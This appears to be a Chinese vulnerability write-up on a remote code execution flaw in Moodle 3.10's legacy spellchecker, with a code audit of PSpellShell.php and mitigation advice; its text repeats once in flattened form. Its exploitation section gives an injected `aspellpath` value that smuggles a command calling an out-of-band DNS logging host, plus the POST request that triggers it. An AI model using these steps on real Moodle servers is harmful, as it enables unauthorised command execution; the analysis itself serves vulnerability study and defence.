Moodle 拼写检查插件 rce 分析
字数 921 2025-08-09 15:23:13

Moodle 拼写检查插件 RCE 漏洞分析与利用

漏洞概述

Moodle 3.10 中默认的旧版拼写检查器插件存在命令执行漏洞(Remote Code Execution)。通过构造特制的 HTTP 请求,攻击者可以在服务器上执行任意命令。需要注意的是,利用此漏洞需要管理员权限。

漏洞分析

漏洞位置

漏洞位于 PSpellShell.php 文件中,具体是 shell_exec 函数的调用处。

漏洞成因

  1. 程序使用 shell_exec 执行系统命令
  2. 命令参数部分可控
  3. 缺乏足够的输入验证和过滤

代码审计过程

  1. 首先全局搜索危险函数 shell_exec,发现两处调用
  2. 跟踪 PSpellShell.php 文件第31行的调用
  3. 发现 shell_exec 的参数 $cmd 来自 $this->_getCMD($lang) 方法
  4. 分析 _getCMD() 方法:
    private function _getCMD($lang) {
        $bin = $this->_config['aspellpath'];
        if (preg_match("#^[_-a-z]+$#i", $lang)) {
            if (preg_match("#win#i", php_uname()))
                return "$bin -a --lang=$lang --encoding=utf-8 -H < $file 2>&1";
            return "cat $file | $bin -a --lang=$lang --encoding=utf-8 -H";
        }
    }
    
  5. 发现 $bin 变量来自配置项 aspellpath,该配置可由管理员设置

关键配置项

aspellpath 配置项位于 config-dist.php:1038 处,用于指定拼写检查插件的位置。

管理员可以通过以下URL设置此参数:

http://moodle.example.com/admin/settings.php?section=systempaths

漏洞利用

利用条件

  1. 拥有管理员权限
  2. 能够修改系统路径配置

利用步骤

  1. 设置恶意 aspellpath
    aspellpath 设置为包含恶意命令的值,例如:

    ping ihamhr.dnslog.cn ||
    
  2. 设置拼写检查器引擎为 PSpellShell

  3. 触发漏洞
    构造 POST 请求到:

    lib/editor/tinymce/plugins/spellchecker/rpc.php
    

    请求体:

    {
        "method": "getSuggestions",
        "params": ["1", "2"]
    }
    

最终执行的命令

根据操作系统不同,最终执行的命令会有所不同:

  • Windows 系统

    ping ihamhr.dnslog.cn || -a --lang=$lang --encoding=utf-8 -H < $file 2>&1
    
  • Linux 系统

    cat $file | ping ihamhr.dnslog.cn || -a --lang=$lang --encoding=utf-8 -H
    

漏洞验证

  1. 按照上述步骤设置 payload
  2. 设置拼写检查引擎
  3. 触发漏洞后检查 DNS 日志或命令执行结果

防护建议

  1. 升级到最新版本的 Moodle
  2. 对用户输入进行严格过滤和验证
  3. 限制管理员权限的分配
  4. 使用安全的函数替代 shell_exec
  5. 对系统路径配置进行严格的权限控制

总结

此漏洞展示了配置项不当处理可能导致的安全风险,特别是在结合命令执行函数使用时。管理员应当谨慎处理系统路径配置,并对所有用户输入进行严格验证。

Moodle 拼写检查插件 RCE 漏洞分析与利用 漏洞概述 Moodle 3.10 中默认的旧版拼写检查器插件存在命令执行漏洞(Remote Code Execution)。通过构造特制的 HTTP 请求,攻击者可以在服务器上执行任意命令。需要注意的是,利用此漏洞需要管理员权限。 漏洞分析 漏洞位置 漏洞位于 PSpellShell.php 文件中,具体是 shell_exec 函数的调用处。 漏洞成因 程序使用 shell_exec 执行系统命令 命令参数部分可控 缺乏足够的输入验证和过滤 代码审计过程 首先全局搜索危险函数 shell_exec ,发现两处调用 跟踪 PSpellShell.php 文件第31行的调用 发现 shell_exec 的参数 $cmd 来自 $this->_getCMD($lang) 方法 分析 _getCMD() 方法: 发现 $bin 变量来自配置项 aspellpath ,该配置可由管理员设置 关键配置项 aspellpath 配置项位于 config-dist.php:1038 处,用于指定拼写检查插件的位置。 管理员可以通过以下URL设置此参数: 漏洞利用 利用条件 拥有管理员权限 能够修改系统路径配置 利用步骤 设置恶意 aspellpath : 将 aspellpath 设置为包含恶意命令的值,例如: 设置拼写检查器引擎为 PSpellShell 触发漏洞 : 构造 POST 请求到: 请求体: 最终执行的命令 根据操作系统不同,最终执行的命令会有所不同: Windows 系统 : Linux 系统 : 漏洞验证 按照上述步骤设置 payload 设置拼写检查引擎 触发漏洞后检查 DNS 日志或命令执行结果 防护建议 升级到最新版本的 Moodle 对用户输入进行严格过滤和验证 限制管理员权限的分配 使用安全的函数替代 shell_exec 对系统路径配置进行严格的权限控制 总结 此漏洞展示了配置项不当处理可能导致的安全风险,特别是在结合命令执行函数使用时。管理员应当谨慎处理系统路径配置,并对所有用户输入进行严格验证。